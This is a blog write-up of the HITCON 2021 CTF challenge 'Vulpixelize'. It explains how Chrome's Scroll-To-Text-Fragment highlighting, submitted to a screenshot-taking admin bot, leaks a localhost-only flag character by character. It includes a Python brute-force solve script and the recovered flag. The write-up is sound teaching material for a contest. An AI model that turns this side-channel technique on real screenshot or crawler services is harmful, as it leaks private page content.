Monday, December 13, 2021

Hitcon 2021' CTF - Vulpixelize

Vulpixelize Writeup

In this challenge –

we are given docker webserver with the following files:

1.      Dockerfile

2.      Simple Flask webserver with the following endpoints –

a.      GET /

b.     GET /submit

c.      GET /flag

3.      Selenium admin that initializes chrome-driver for automations

From the code it's easy to understand that we have :

1.      We can submit URL for the admin to inspect

2.      The flag is accessible only for admin from localhost:

@app.route('/flag')

def flag():

    if request.remote_addr == '127.0.0.1':

        return message(FLAG)

    return message("allow only from local")

3. When admin (the selenium' chrome-driver) gets our url it inspects it & return us pixelized snapshot of the resulting web-page, For Example, if we gave him https://linkedin.com:


The picture is pixelized and sensitive data is actually omitted


 

Attack Surface & Ideas

We would like to get the flag of-course, for that, let's just make the admin GET /flag, right?

Placing http://localhost:8000/flag (which is the open port in the localhost domain) we receive: 


 

Yes yes!! That flag is here! But wait a second, it's pixelized so we can't really see a thing, damn…

Ideas:

1.      Put it inside an iframe, make the font of sub-iframe bigger / rescale iframe / zoom into it somehow.

a.      Style seemed to doesn’t affect, both the style of parent html / and the style setup for the

iframe itself didn't really seemed to be that helpful.. merd..

2.      XSS in the localhost:8000 website would work for sure, just need to find some way I guess?

a.      No template/other simplest xss injections seems like falsk was used correctly..

 

Scroll To Text Fragments

But, wait a second – let's STTF it up!

Scroll To Text Fragements –  https://chromestatus.com/feature/4733392803332096:

1.      In chrome, whenever link ends with #:~:text=<TEXT>

2.      The TEXT quoted will be markered-up inside the page itself!

For example – 


You can now see the marked up text in the wiki page, this is the text fragment placed after "text="

in the browser address bar.

Now, before you continue to read – try to think how to break that challenge with that?

Hint – The flag format given to us is: hitcon{HEXCHAR- HEXCHAR…- HEXCHAR}

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Solution:

Oh yes –

1.      We know that the flag will be something like this – "hitcon{HEXCHAR- HEXCHAR…- HEXCHAR}"

2.      Now, let's place the following url and give it to admin –http://localhost:8000/flag#:~:text=hitcon{

 

Yes it is, we can see here our flag marked!

The next thing we can do is the following:

1.      We can try "letter by letter" approach to get the flag.

2.      Try "hitcon{1", "hitcon{2", "hitcon{3", … until matched.

3.      Add char found to the prefix looked for and try again with the next letter, aka "hitcon{1-"..

This solved the challenge completely, using only STTF, no XSS or any other vuln. Cool 😊

Source-code:

import requests
import urllib.parse
import re

from PIL import Image

base_path =
'http://3.113.172.41:27196/'
url = '/submit?url=http%3A%2F%2Flocalhost%3A8000%2Fflag%23%3A~%3Atext%3D{TRY}'

# Run query
MD5_LEN = 32
HEX_CHARS = '0123456789abcdef'
cur_chars = 'hitcon{'
for i in range(MD5_LEN):
    pic_path =
'test.png'
   
got_char = None
    for
c in HEX_CHARS:
        cur_try = urllib.parse.quote(cur_chars + c)
       
print(base_path + url.format(TRY=cur_try))
        r = requests.get(base_path + url.format(
TRY=cur_try))
       
if 'static/images' not in r.text:
           
print('[+] Didn\'t got any picture for %s' % cur_try)
           
continue
       
# Get response picture -
       
regexp = 'static/images/[0-9a-z]*\.png'
       
regres = re.findall(regexp, r.text)
       
if not regres:
           
print('[+] Didn\'t got any picture for %s, by the regexp - ' % cur_try)
           
continue
       
pic_url = base_path + '/' + regres[0]
        r = requests.get(pic_url)
       
if not r.content:
           
print('[+] Couldnt get the picture... ', pic_url)
           
continue
       
open(pic_path, 'wb').write(r.content)
        img = Image.open(pic_path)
       
# If brightness is big enough - then we were markered up and we were kinda correct.
       
if (img.getpixel((467, 336))[0] >= 200):
           
print('Found the next char! ', c)
            got_char = c
           
break
    if not
got_char:
       
print('Didn\'t found any char... exiting...')
       
break
    else
:
        cur_chars += got_char +
'-'

print(cur_chars)

 

And The Flag:

hitcon{1-1-4-1-6-1-e-9-f-9-4-c-7-3-e-4-9-7-a-7-5-d-4-6-6-c-6-3-3-7-f-4}

 

 

Hitcon 2021' CTF - Vulpixelize

Vulpixelize Writeup In this challenge – we are given docker webserver with the following files: 1.       Dockerfile 2.       Simple Flask we...